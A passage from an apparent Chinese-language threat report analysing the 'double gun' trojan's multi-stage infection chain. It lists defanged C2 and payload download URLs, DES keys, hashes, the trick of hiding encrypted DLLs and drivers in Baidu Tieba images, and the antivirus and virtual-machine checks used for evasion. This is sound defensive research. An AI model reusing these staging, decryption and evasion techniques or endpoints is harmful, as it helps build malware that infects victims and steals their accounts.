URL，下载下一阶段要运行的恶意程序：</p><pre><code>hxxp://69.30.193.66/aa.exe md5=d5f6d28be828225cc429589ec6fa2409
hxxp://69.30.193.66/cj.exe md5=e86a9f5819582493837850a25c28915e
hxxp://222.186.138.30:8080/tgp.exe md5=e88b1d3c9bfb95d02e8dcd9931cfe99e
hxxp://69.30.193.66/15.exe md5=99d94b61a04a19e74bb5b84c1e75e451
</code></pre><p>整体结构如下所示： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/muti_arch.png" class="kg-image" alt loading="lazy"></figure><p>关于 cj.exe 的 <strong>Steam 盗号</strong>功能，友商的分析报告 <a href="https://mp.weixin.qq.com/s/sTN7r5hnluAzs5sNyMaRjA">火绒安全警报：疑似方正集团子公司签名泄露 遭黑客利用盗取Steam账号</a> 已经分析的比较清楚。从样本的 PDB 文件路径来看，该恶意程序的功能也可窥见一斑： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/steam_steal.png" class="kg-image" alt loading="lazy"></figure><p>关于 aa.exe / tgp.exe 的<strong>劫持 QQ 进行恶意推广</strong>功能，友商也有分析。木马会访问类似以下的接口来获取推广信息，然后呈现在受害机器上：</p><p>据我们统计分析，该团伙中类似的恶意活动中用到的类似接口，至少曾经包括以下几个：</p><pre><code>hxxp://42.51.44.167/api/api
hxxp://42.51.44.215/api/api
hxxp://42.51.32.166/api/api
hxxp://42.51.42.106/api/api
hxxp://42.51.44.168/api/api
hxxp://42.51.39.60/api/api
hxxp://42.51.39.208/api/api
hxxp://42.51.33.3/api/api
hxxp://42.51.32.20/api/api
</code></pre><p>服务端接口返回来的 JSON 数据中的图片 URL，打开之后如下(网赚推广)：</p><p>我们的重点在最后传播<strong>双枪</strong>木马的 <strong>15.exe</strong>。</p><h3 id="2-3-15-exe"><strong>2.3 双枪传播第一阶段——15.exe</strong></h3><p><strong>15.exe</strong> 其实是一个下载器，它会下载百度贴吧图片服务器上的被嵌入了恶意代码的图片文件，从图片文件中解析出恶意 PE 文件并执行。<strong>15.exe</strong> 的主要流程如下： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/15_exe.png" class="kg-image" alt loading="lazy"></figure><p>流程说明：</p><ol><li>解析得到C2 URL(后文简称 <strong>C2_stat4</strong> )：密文字串 <strong>tjXWjFcYZBxxsY0CE2nZUpjLsVUtkFA7BNQ7UxV017ELdPXvPvQM00tSnlsDVtSA</strong> 经过 Base64+变形 DES 解密出 C2 URL <code>hxxp://white.shougouji.top:8889/stat4.ashx</code> ，DES Key 为 <strong>giwdyaiw</strong>；</li><li>将字串 <strong>B6qXVH6POR3lH+CzEzpNX9nIpUQc29lbeeaCHg18AcE=</strong> 经过同上的解密过程，解出字串 <strong>Chinesestyleinternetmanhunt</strong> ；</li><li>将步骤2中得到的 <strong>Chinesestyleinternetmanhunt</strong> 经过变形的 DES 加密后，作为 POST Data 发送到 <strong>C2_stat4</strong> ，DES Key 为 <strong>HQDCKEY1</strong>；</li><li>用变形 DES 来解密从 <strong>C2_stat4</strong> 获取到的 HTTP 响应数据，得到如下示例字符串，内含两个可以进一步下载的URL。本步骤中可能会返回不同的数据，故解出不同的字符串，用到DES Key 是<strong>HQDCKEY1</strong>：<code>hxxp://imgsrc.baidu.com/tieba/pic/item/d788d43f8794a4c227adb80603f41bd5ad6e3914.jpg|hxxp://imgsrc.baidu.com/tieba/pic/item/a08b87d6277f9e2fa7e042251230e924b999f3c2.jpg</code></li><li>访问步骤 <strong>4</strong> 中解密出来的两个图片 URL，从两个图片文件的偏移 <strong>0x1E30</strong> 处开始到文件末尾各自切出数据，再拼凑在一起，最后再用变形 DES 解密出一个 DLL 文件(后文简称此文件为 <strong>ReportDLL</strong>，此次解密用到的 DES Key 为 <strong>HQXCKEY7</strong>；</li><li>起 3 个同样的线程，执行如下工作：在内存中解析这个 <strong>ReportDLL</strong> 文件，找到导出函数 <strong>Report()</strong> 的地址，导入 DLL 文件需要的 Import Functions，然后执行函数 <strong>DLL::Report()</strong> 。</li></ol><p><strong>补充说明</strong>：</p><ul><li>步骤 <strong>1</strong> / <strong>2</strong> 中用到的 DES Key，也是经过解密得到的：用 Base64 解码字串 <strong>vGbZFzOaw4A=</strong> 得到 <strong>0xBC66D917339AC380</strong> ；然后用变形 DES 解密上述二进制数据，才得到 <strong>giwdyaiw</strong> ，此处用到的 DES Key 为样本中硬编码的 <strong>0x0000310000004959</strong></li><li>木马用 <strong>Crypt32.dll::CryptBinaryToStringA()</strong> 函数来实现 Base64 解密，但 <strong>Crypt32.dll</strong> 和 <strong>CryptBinaryToStringA</strong> 两个字串并不是硬编码在样本中，而是由 <strong>IYIJIFINIKGAFAGCIFIOIO</strong> 和 <strong>DDDSECDVDSCTDSDZEUEQEJCPEQDHEJEOEQEDDSDN</strong> 两个字符串用另外的解密算法分别解密得出，然后再用 <strong>LoadLibrary()</strong> 和 <strong>GetProcAddress()</strong> 函数得到 <strong>CryptBinaryToStringA</strong> 的函数地址，最终才会调用函数进行 Base64 解密。</li><li>所谓<strong>变形 DES</strong>，指的是木马作者修改了 DES 加解密用到的初始化向量中的部分字节顺序，导致按照已有的标准 DES 加解密库/程序不能直接解密，必须按照样本中的初始化向量来运算 DES 算法才可以顺利加解密。后文会详细解析该算法。</li><li>步骤 <strong>3</strong>/<strong>4</strong> 和步骤 <strong>5</strong> 中用到的 DES Key(<strong>HQDCKEY1</strong> / <strong>HQXCKEY7</strong>)，也不是硬编码在样本中的，而是分别对 <strong>1ZGNGIWO</strong> 和 <strong>7ZGNG]WO</strong> 利用另外的解密算法解密得出的。</li></ul><p>通过这一阶段的分析，据我们的初步推测，从我们最新监测到的 2 个异常域名 <code>www[.]src135.com</code> 和 <code>www[.]x15222.com</code>下载到的两个 <strong>update.txt</strong> 文件，其中嵌入的 DLL 文件，功能应该跟 <strong>15.exe</strong> 类似。</p><h3 id="2-4-reportdll"><strong>2.4 双枪传播第二阶段——ReportDLL</strong></h3><p>第一阶段中通过多重解密得到的 ReportDLL，是第二阶段的主要样本，其主要工作流程包括：</p><p><strong>Step 1 监测本地环境、对抗杀软</strong> ：样本会收集系统信息，包括CPUid/磁盘信息/guid/hostname/MAC地址/进程列表/UAC 级别等信息，样本会检查当前磁盘是否为虚拟磁盘、进程/服务中是否有反病毒软件。样本会将收集好的系统信息整理成JSON文件，然后用变形 DES 加密（DES Key 为<strong>HQDCKEY1</strong> )，示例配置如下：</p><pre><code>{
"cpuid": "2",
"disks": "San HARDDISK ATA Device",
"dllver": 20170428,
"exever": 20170807,
"guid": "{4F0C293C-C8D5-4bb2-9249-3E4057E5268B}",
"hddsn": "Sane024ebad-d59c3157",
"hostname": "HanFang-PC",
"iswin64": 0,
"macs": "A0-48-1C-9D-63-F2",
"osver": 61,
"parent": "15.exe",
"process": "[System Process]|System|smss.exe|csrss.exe|wininit.exe|winlogon.exe|services.exe|lsass.exe|lsm.exe|svchost.exe|QQ.exe|spoolsv.exe|FoxitProtect.exe|taskhost.exe|dwm.exe|explorer.exe|SearchIndexer.exe|sppsvc.exe|SogouCloud.exe|notepad.exe|calc.exe|15.exe|conhost.exe",
"sd": 0,
"srvstat": false,
"startby": 702,
"uac": 0
}
</code></pre><p>样本在这一步检查的磁盘列表如下：</p><pre><code> Richdisk
VXPDISK
Diskless 2000/XP
MZD
NMenu
Virtual Disk
[VSCSICLN]
CGM
vDisk
ZHDisk
VxpDisk
iCafe8 SSD
Icafe8 LTA
</code></pre><p>检查的进程/服务/驱动列表如下：</p><pre><code> 360sd.exe
XxGamesFilter
GpeNetSafe
GameGuard
\\.\TeSafe
\\.\SDriver
\\.\GxWfpFlt
\\.\PowerChange
\\.\xspeed
protectdrv
KKFileMonitor
360tray.exe
QQPCTray.exe
kxetray.exe
rstray.exe
KlDiskCtl
avgntflt
Eamon
SymEvent
mferkdk
QqscfeCnotrol
</code></pre><p>样本还会检查注册表中是否有 VMware 的痕迹： <strong><code>SOFTWARE\\VMware, Inc.\\VMware Tools</code></strong>。</p><p>另外，还会单独在系统托盘区检查是否有 <strong>360安全卫士</strong> 的托盘图标。如果没能通过这些检查，样本则不会向下执行。</p><p><strong>Step 2 上报信息、云端对抗杀软</strong>: 将变形 DES 加密过的系统信息，作为 POST Data 发送到 <code>hxxp://white.shougouji.top:8889/stat1.ashx</code>，接受服务端的检验。目前已知<strong>服务端如果检测到进程列表中有 wireshark 这种“危险进程”，或者 MAC 地址可疑，也或者 Disk 类型可疑，服务端就不会返回任何数据</strong>，服务器端是否存在其他检测逻辑尚不明确。安全研究人员需要在动态调试时手动修改这些数据，发送到 C2，才会成功捕获 C2返回的响应。</p><p>服务端返回的数据经过变形 DES 解密(DES Key 为 <strong>HQDCKEY1</strong> )，是一份 JSON 格式的配置文件：</p><pre><code> {
"TaskGroupId":33,
"TaskId":1108,
"TaskType":1,
"TaskUrls":[
"hxxp://imgsrc.baidu.com/tieba/pic/item/562c11dfa9ec8a137a506533fd03918fa1ecc09e.jpg",
"hxxp://imgsrc.baidu.com/tieba/pic/item/0d338744ebf81a4c6a8cde1add2a6059242da6a2.jpg"
],
"Interface":"DoIt",
"ExecMode":0,
"SaveMode":0,
"SavePath":"",
"SaveFileName":"",
"TaskParameter":[
{
"ParaType":0,
"Parameter":"hxxp://imgsrc.baidu.com/tieba/pic/item/c2cec3fdfc03924586e1a4228a94a4c27d1e2542.jpg|hxxp://imgsrc.baidu.com/tieba/pic/item/e4dde71190ef76c6a9c7be069016fdfaaf516781.jpg",
"FileType":2,
"SaveMode":2,
"SavePath":"C:\\Windows\\Temp",
"SaveFileName":""
}
]
}
</code></pre><p>这份配置文件也是动态变化的，分析过程中还收到过另一份配置文件，<strong>TaskUrls</strong> 配置项两个图片URL如下(其他配置项同上)：</p><pre><code> hxxp://imgsrc.baidu.com/tieba/pic/item/3bf33a87e950352a147a920f5843fbf2b2118b9a.jpg
hxxp://imgsrc.baidu.com/tieba/pic/item/0b55b319ebc4b74532570311c4fc1e178b8215f1.jpg
</code></pre><p><strong>Step 3 解析得到WorkDLL</strong>: 解析 <strong>Step 2</strong> 中获取到的 JSON 配置文件，访问 <strong>TaskUrls</strong> 中的 2 个图片 URL，获取图片文件，从图片偏移 <strong>0x1E30</strong> 处到文件末尾切出加密数据，拼凑一起，并用变形 DES 解密(DES Key 为 <strong>HQXCKEY7</strong>)，得到一个 DLL 文件(后文简称 <strong>WorkDll</strong>)；</p><p>对 JSON 配置中的 <strong>TaskParameter::Parameter</strong> 项里的 2 个图片 URL 做同样的操作，得到一个驱动文件(后文简称 <strong>kemon.sys</strong>)。</p><p>根据 <strong>Step 2</strong> 中的 JSON 配置文件中的 <strong>Interface</strong> 配置项(<strong>DoIt</strong>)， 找到 <strong>WorkDll</strong> 中的导出函数 <strong>DoIt()</strong> 函数地址，导入 <strong>WorkDll</strong> 导入表中的 Library，在内存中执行 <strong>WorkDll::DoIt()</strong> 函数。</p><p><strong>Step 4 采集信息</strong>: 整理系统信息和木马运行信息，整理成 JSON 格式并以变形 DES 加密，Post 到 <code>hxxp://white.shougouji.top:8889/stat2.ashx</code> 。</p><p>第二阶段的 <strong>ReportDLL</strong> 明显加上了一些对抗分析的措施，在样本端和 C2 端都有检查逻辑。安全社区成员在分析时需要注意这一点。</p><h3 id="2-5-workdll"><strong>2.5 双枪传播第三阶段——WorkDLL</strong></h3><p><strong>WorkDll</strong> 的工作很简单：</p><ol><li>为 <strong>kemon.sys</strong> 生成 7 个随机英文字符的文件名，以 <strong>.sys</strong> 为后缀，移动到 <strong>C:\Windows\System32\inetsrv\</strong> 目录下；</li><li>为新的驱动程序注册系统服务，加载 kemon.sys 启动服务。</li></ol><h3 id="2-6-kemon-sys"><strong>2.6 双枪传播第四阶段——kemon.sys</strong></h3><h4 id="2-6-1-kemon-sys-"><strong>2.6.1 kemon.sys 对抗分析，安营扎寨做好准备工作</strong></h4><p><strong>kemon.sys</strong> 功能繁杂，对抗分析手段也多种多样，比较有特色的比如：</p><ul><li>所有可用字符串(上百条)都经过了自定义加密，运行之前会用两套算法分别解密其中的 ASCII 和 Unicode 密文；</li><li>会更新自身，每次更新还会把时间戳设置成跟 ntdll 相同；</li><li>注册 Boot 回调和 Shutdown 回调来进行一些初始化和隐匿工作；</li><li>用 CmRegisterCallBack() 方式监控注册表；</li><li>用 PendingFileRenameOperations 方式实现开机启动。</li></ul><h4 id="2-6-2-"><strong>2.6.2 下一阶段工作——获取双枪木马及私服相关恶意程序</strong></h4><p>不过我们更关注样本的网络行为，驱动程序在做好了一系列对抗、自保措施在失陷主机安营扎寨之后，就开始了下一阶段工作。</p><p>在准备阶段，kemon.sys 解密出的上百个字符串中，有下面一系列 URL：</p><pre><code>hxxp://ua.dztworld.com:12338
hxxp://ua.minding99.com:12338
hxxp://ub.dztworld.com:12339
hxxp://ub.minding99.com:12339
hxxp://ba.dztworld.com:12340/Default.html
hxxp://bb.dztworld.com:12340/Default.html
hxxp://bc.dztworld.com:12340/Default.html
hxxp://ba.minding99.com:12340/default.html
hxxp://bb.minding99.com:12340/default.html
hxxp://bc.minding99.com:12340/default.html
hxxp://ub.dztworld.com:12339/no008/no00a/gtmp.txt
hxxp://ub.dztworld.com:12339/no008/no00a/gtmpm.txt
hxxp://ub.dztworld.com:12339/no008/GetUrlKeyMsg.ashx
hxxp://ub.dztworld.com:12339/no008/GetMsg.ashx
hxxp://ub.dztworld.com:12339/no008/jspe.ashx
hxxp://ub.minding99.com:12339/no008/jspe.ashx
hxxp://ub.dztworld.com:12339/no008/jspl.ashx
hxxp://ub.dztworld.com:12339/no008/jspm.ashx
hxxp://ua.dztworld.com:12338/no008/File/d00831.dat
hxxp://ua.dztworld.com:12338/no008/File/a00831.dat
hxxp://ua.minding99.com:12338/no008/File/d00831.dat
hxxp://ua.minding99.com:12338/no008/File/a00831.dat
hxxp://ub.dztworld.com:12339/no008/File/dt0083.dat
hxxp://ub.dztworld.com:12339/no008/File/t0083.dat
hxxp://ub.minding99.com:12339/no008/File/dt0083.dat
hxxp://ub.minding99.com:12339/no008/File/t0083.dat
hxxp://ub.dztworld.com:12339/no008/File/ds0083.dat
hxxp://ub.dztworld.com:12339/no008/File/s0083.dat
hxxp://ub.minding99.com:12339/no008/File/ds0083.dat
hxxp://ub.minding99.com:12339/no008/File/s0083.dat
hxxp://ub.dztworld.com:12339/no008/File/da0083.dat
hxxp://ub.dztworld.com:12339/no008/File/a0083.dat
hxxp://ub.minding99.com:12339/no008/File/da0083.dat
hxxp://ub.minding99.com:12339/no008/File/a0083.dat
</code></pre><p>接下来依次访问下面的 URL，只要一个存活即可：</p><pre><code>hxxp://ba.dztworld.com:12340/Default.html
hxxp://bb.dztworld.com:12340/Default.html
hxxp://bc.dztworld.com:12340/Default.html
hxxp://ba.minding99.com:12340/default.html
hxxp://bb.minding99.com:12340/default.html
hxxp://bc.minding99.com:12340/default.html
</code></pre><p>获取到响应，目前收集到两段不同的 <strong>default.html</strong> 的 HTTP 响应，每段响应都用 3 组连续的方括号括起来：</p><pre><code>[[[B3652241EBE375617D4415EFDE7B894C3F5294F8D54FA6438E3686644C8D12BDB3AEF00FB23F54BF03E104A616A19EBD9942910013E4B3A196B19732E5DD5A347D4C252F9EBE3A9D0CDAE65C04CCB39066DE181712D13D7819094AF38BC17BE44387A650FD372E5B8B1093E508E4DBEEA62EDA8CE20264954E07437FC651BE98BC53A31868ECFB4B313D435772A67A420002002D4746E1480CFE839908B0A4D5412DC9A7A076F3125978AD51A34598B928CEFBF9A3E48275C82F29D020D9F9A12EC5A06DB5640943FD06608741613018F54B6E38861AFDECBF2821AD086A39CD862C20054D2895DC15134CE24F133AC5352CE1B4E0B2859A1231C4F21C5B20937418F41B6B8BEA367F614DA7F3500EDC28EC71A4570514069DEE9E4F75F2F40272D330F6A9901ADC8D42A42128514AEBD90364AB090C7721CEF77528A5CF837642AA4659F67499CEFB15BA1CE4549DC8685D4C16E9A5CC17BF5B66ECE0EF072F57DF094701DB9BAC4ED0D8708EF52E5E0E3051A62E328DB8]]]
[[[B3652241EBE375617D4415EFDE7B894C3F5294F8D54FA6438E3686644C8D12BDB3AEF00FB23F54BF8FF35A3AB54379EF47EE39FC10944AB7EE582C463D6EDC686A568D1F2B4C949F2F680F4C2E94C5CEBF39A799325C1D6E9938734CDB49B244C5DC5DCFD93FE9CFDA1BF3F0815812DEB2DE10D2AE5871C872A5D35A6C535D4ABC53A31868ECFB4B313D435772A67A420002002D4746E1480CFE839908B0A4D5A0160A207C1170DD5623CC0327B97404F73D94C73BA378428226DA39E674A07EA30BF34632F1A2C8A88BB2C6BA8B655ABA4F9DBEBEDF10F8419847A1375505670B067873285EAD4A88E33E2961BBABFDD52BC336EC13CA681231C4F21C5B20937418F41B6B8BEA367F614DA7F3500EDC28EC71A4570514069DEE9E4F75F2F4023A3DB58A415EDAE3669EE37F1A190D205EF3687DF0A3194EDB7452A1EF5C81954DDA184D8C63857BFDB23C34B1DD384B06B8649F7D9FD0D2037174A7C79CBD6ABC4E39821D714260CF9965D5B8CA3D050E3051A62E328DB8]]]
</code></pre><p>用变形 DES 解密步骤 <strong>1</strong> 获取到的响应，DES Key 为 <strong>HQXCKEY7</strong>，上述两段密文分别得到两组数据整理后如下：</p><pre><code>##Shttp://imgsrc.baidu.com/tieba/pic/item/730e0cf3d7ca7bcbbb337629b3096b63f624a868.jpg## 9378148AF6604EA1D807D1EDE06EB994
##Shttp://imgsrc.baidu.com/tieba/pic/item/1b4c510fd9f9d72ade7aa11bd92a2834349bbb9e.jpg## 9378148AF6604EA1D807D1EDE06EB994
##Shttp://imgsrc.baidu.com/tieba/pic/item/0824ab18972bd40765b362fb76899e510fb309bb.jpg## 9378148AF6604EA1D807D1EDE06EB994
##Shttp://imgsrc.baidu.com/tieba/pic/item/730e0cf3d7ca7bcbbb337629b3096b63f624a868.jpg## 9378148AF6604EA1D807D1EDE06EB994
##Shttp://imgsrc.baidu.com/tieba/pic/item/1b4c510fd9f9d72ade7aa11bd92a2834349bbb9e.jpg## 9378148AF6604EA1D807D1EDE06EB994
##Shttp://imgsrc.baidu.com/tieba/pic/item/0824ab18972bd40765b362fb76899e510fb309bb.jpg## 9378148AF6604EA1D807D1EDE06EB994
------------------------------------------------------------------------------
##Shttp://imgsrc.baidu.com/tieba/pic/item/5bafa40f4bfbfbed2b24656f75f0f736afc31fa4.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
##Shttp://imgsrc.baidu.com/tieba/pic/item/d788d43f8794a4c223bfb43b03f41bd5ad6e3905.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
##Shttp://imgsrc.baidu.com/tieba/pic/item/78310a55b319ebc43e3f25898f26cffc1e17165e.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
##Shttp://imgsrc.baidu.com/tieba/pic/item/5bafa40f4bfbfbed2b24656f75f0f736afc31fa4.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
##Shttp://imgsrc.baidu.com/tieba/pic/item/d788d43f8794a4c223bfb43b03f41bd5ad6e3905.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
##Shttp://imgsrc.baidu.com/tieba/pic/item/78310a55b319ebc43e3f25898f26cffc1e17165e.jpg## 64AFC96FF3E6E51BDE76779E9E8A678B
</code></pre><p>可见 <strong>default.html</strong> 每次的响应解密后是 2组*3条 图片的 URL，并且是重复的 2 组 URL，即只有 3 条 uniq URL。经过检查，每次响应中的 3 条 uniq URL 下载到的图片 MD5 相同。即 <strong>default.html</strong> 每次响应，去重之后就获取到 1 个图片 URL。</p><p>根据上面的相应解密之后获取到的图片 URL，下载图片文件，在图片文件偏移 <strong>0x1E30</strong> 处开始到文件末尾切出加密数据，用变形 DES 解密(DES Key 为 <strong>HQXCKEY7</strong>)，得到如下数据：</p><pre><code>##Shttp://imgsrc.baidu.com/tieba/pic/item/267f9e2f0708283897406d12b599a9014c08f163.jpg##63AAFB03DC50CD59920FC8195F98E3F65/no008/File/a00831.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/279759ee3d6d55fb16e5c72060224f4a20a4dd91.jpg##626CED471332B6AFDA3D94D0C571A50ED/no008/File/a00861.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/c83d70cf3bc79f3dc8985536b7a1cd11728b29be.jpg##5899A9DB3276632334956CC8738D47579/no008/File/T0083.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/f31fbe096b63f624dd1088058a44ebf81a4ca363.jpg##5076EE8464792AE80475EDB129050C27B/no008/File/T0086.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/024f78f0f736afc31e3f8e63be19ebc4b7451280.jpg##52AF4784BC73BEEBFEE49B9A3F2D048EF/no008/File/A0083.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/e850352ac65c103883337fc4bf119313b07e8963.jpg##554900D4ACCE5A202F14C225A82E870D0/no008/File/A0086.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/fcfaaf51f3deb48f8d4b10d8fd1f3a292df57891.jpg##:DDE1426369397CC5FECF00CBD3507504/no008/no00a/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/d009b3de9c82d158dbcee8b78d0a19d8bc3e4263.jpg##<EC0E4BED4EEDAA41D8D300261947FF1C/no008/no00a/ConfigNew.txt01
##Shttp://imgsrc.baidu.com/tieba/pic/item/6609c93d70cf3bc7b0227ceadc00baa1cd112a91.jpg##<E056E65F2E6C5A389FFE9E29D15F4DC9/no008/no00a/ConfigNew.txt02
##Shttp://imgsrc.baidu.com/tieba/pic/item/c9fcc3cec3fdfc03a93452bed93f8794a4c22663.jpg##<39CAE786DA64D1FC4A39684D58DBB05F/no008/no00a/ConfigNew.txt03
##Shttp://imgsrc.baidu.com/tieba/pic/item/9213b07eca806538db9315159adda144ad3482bf.jpg##<0B3381CF39CDC128C236A360BAF5C2A8/no008/no00a/ConfigNew.txt04
##Shttp://imgsrc.baidu.com/tieba/pic/item/ac345982b2b7d0a2d3b0b59bc6ef76094b369abf.jpg##<1D660AE25855D011C1A6822C84E592EB/no008/no00a/ConfigNew.txt05
##Shttp://imgsrc.baidu.com/tieba/pic/item/79f0f736afc37931624a372fe6c4b74543a91191.jpg##:32EB3529A1119BD3D5B46F3D9708BF00/no008/no00a/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/0823dd54564e9258c20637e89182d158ccbf4e81.jpg##:51214C7E01D4A5C19E4E599C5051D4DE/no008/no00b/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/3812b31bb051f819fc69b24cd7b44aed2e73e76c.jpg##:AA9FDA3F42FAF0E07F1E19D921CC1F72/no008/no00b/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/94cad1c8a786c9175531e33fc43d70cf3bc75781.jpg##:A58028489E70188D6C7EB5D519AFA1F1/no008/no00c/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/738b4710b912c8fcfbc147cbf1039245d6882181.jpg##:B54A6B1C114BF66E2FE6C2E075C75BCB/no008/no00c/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/71cf3bc79f3df8dce0453e97c011728b471028bf.jpg##:0ABCF80B7CBDA9710B577204D1ECC881/no008/no00d/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/7c1ed21b0ef41bd5e92b59f25cda81cb39db3dbf.jpg##<AC67768DFBF04DF84EBEA8D48E0F912C/no008/no00d/ConfigNew.txt01
##Shttp://imgsrc.baidu.com/tieba/pic/item/0e2442a7d933c8958806297ddc1373f0820200bf.jpg##<30ABF0162AF1CD87F9862DFE6AFCE5FC/no008/no00d/ConfigNew.txt02
##Shttp://imgsrc.baidu.com/tieba/pic/item/aec379310a55b319818133734ea98226cffc17bf.jpg##<ACA00521253A3C4F203F8A384EC563A2/no008/no00d/ConfigNew.txt03
##Shttp://imgsrc.baidu.com/tieba/pic/item/0bd162d9f2d3572c87d02dda8713632762d0c382.jpg##<C7BAAA9FF2B1296B29BA5604C43A934B/no008/no00d/ConfigNew.txt04
##Shttp://imgsrc.baidu.com/tieba/pic/item/a1ec08fa513d2697f8e1b95b58fbb2fb4316d882.jpg##<7AA72D110655BA9153004EC9FE2D01B9/no008/no00d/ConfigNew.txt05
##Shttp://imgsrc.baidu.com/tieba/pic/item/e1fe9925bc315c603edadae980b1cb134954776c.jpg##:4691A104242EEF7E8F213BDD196E4E52/no008/no00d/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/d8f9d72a6059252d1425ac02399b033b5bb5b982.jpg##63AAFB03DC50CD59920FC8195F98E3F65/no008/File/a00831.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/3ac79f3df8dcd100888149277f8b4710b9122f92.jpg##626CED471332B6AFDA3D94D0C571A50ED/no008/File/a00861.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/d52a2834349b033b9ff04ddc18ce36d3d539bdb8.jpg##5899A9DB3276632334956CC8738D47579/no008/File/T0083.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/38dbb6fd5266d01645562f2e9a2bd40735fa356c.jpg##5076EE8464792AE80475EDB129050C27B/no008/File/T0086.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/d833c895d143ad4b8a61f7c68f025aafa40f066c.jpg##52AF4784BC73BEEBFEE49B9A3F2D048EF/no008/File/A0083.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/a686c9177f3e6709e52df4f936c79f3df8dc5582.jpg##554900D4ACCE5A202F14C225A82E870D0/no008/File/A0086.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/d31b0ef41bd5ad6e98d4d5ec8ccb39dbb6fd3c82.jpg##:DDE1426369397CC5FECF00CBD3507504/no008/no00a/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/f31fbe096b63f624dd1288058a44ebf81a4ca36d.jpg##<EC0E4BED4EEDAA41D8D300261947FF1C/no008/no00a/ConfigNew.txt01
##Shttp://imgsrc.baidu.com/tieba/pic/item/eac4b74543a98226a1ec9a218782b9014a90eb83.jpg##<E056E65F2E6C5A389FFE9E29D15F4DC9/no008/no00a/ConfigNew.txt02
##Shttp://imgsrc.baidu.com/tieba/pic/item/b3b7d0a20cf431ad2acff23f4636acaf2edd9893.jpg##<39CAE786DA64D1FC4A39684D58DBB05F/no008/no00a/ConfigNew.txt03
##Shttp://imgsrc.baidu.com/tieba/pic/item/55e736d12f2eb9386922cbf4d8628535e5dd6f6d.jpg##<0B3381CF39CDC128C236A360BAF5C2A8/no008/no00a/ConfigNew.txt04
##Shttp://imgsrc.baidu.com/tieba/pic/item/91ef76c6a7efce1b616479cca251f3deb48f656d.jpg##<1D660AE25855D011C1A6822C84E592EB/no008/no00a/ConfigNew.txt05
##Shttp://imgsrc.baidu.com/tieba/pic/item/a8014c086e061d95853d863e76f40ad162d9cab9.jpg##:32EB3529A1119BD3D5B46F3D9708BF00/no008/no00a/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/9922720e0cf3d7cacbdb8e70ff1fbe096b63a983.jpg##:51214C7E01D4A5C19E4E599C5051D4DE/no008/no00b/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/b2de9c82d158ccbf74a0043c14d8bc3eb1354193.jpg##:AA9FDA3F42FAF0E07F1E19D921CC1F72/no008/no00b/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/6159252dd42a2834f68b870d56b5c9ea15cebf83.jpg##:A58028489E70188D6C7EB5D519AFA1F1/no008/no00c/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/37d3d539b6003af3f1976d66382ac65c1038b683.jpg##:B54A6B1C114BF66E2FE6C2E075C75BCB/no008/no00c/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/8694a4c27d1ed21b4cd59fe3a06eddc451da3f93.jpg##:0ABCF80B7CBDA9710B577204D1ECC881/no008/no00d/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/b3119313b07eca80b37e88e19c2397dda14483b9.jpg##<AC67768DFBF04DF84EBEA8D48E0F912C/no008/no00d/ConfigNew.txt01
##Shttp://imgsrc.baidu.com/tieba/pic/item/7dd98d1001e93901ca793c3876ec54e736d196b9.jpg##<30ABF0162AF1CD87F9862DFE6AFCE5FC/no008/no00d/ConfigNew.txt02
##Shttp://imgsrc.baidu.com/tieba/pic/item/f703738da9773912c4683467f5198618367ae26e.jpg##<ACA00521253A3C4F203F8A384EC563A2/no008/no00d/ConfigNew.txt03
##Shttp://imgsrc.baidu.com/tieba/pic/item/9d82d158ccbf6c81994d9deeb13eb13533fa40b9.jpg##<C7BAAA9FF2B1296B29BA5604C43A934B/no008/no00d/ConfigNew.txt04
##Shttp://imgsrc.baidu.com/tieba/pic/item/908fa0ec08fa513d86b6ddd8306d55fbb2fbd99c.jpg##<7AA72D110655BA9153004EC9FE2D01B9/no008/no00d/ConfigNew.txt05
##Shttp://imgsrc.baidu.com/tieba/pic/item/dcc451da81cb39dbffecd650dd160924ab183083.jpg##:4691A104242EEF7E8F213BDD196E4E52/no008/no00d/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/7acb0a46f21fbe09df10721266600c338744ad6e.jpg##63AAFB03DC50CD59920FC8195F98E3F65/no008/File/a00831.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/aec379310a55b31981d533734ea98226cffc1783.jpg##626CED471332B6AFDA3D94D0C571A50ED/no008/File/a00861.dat
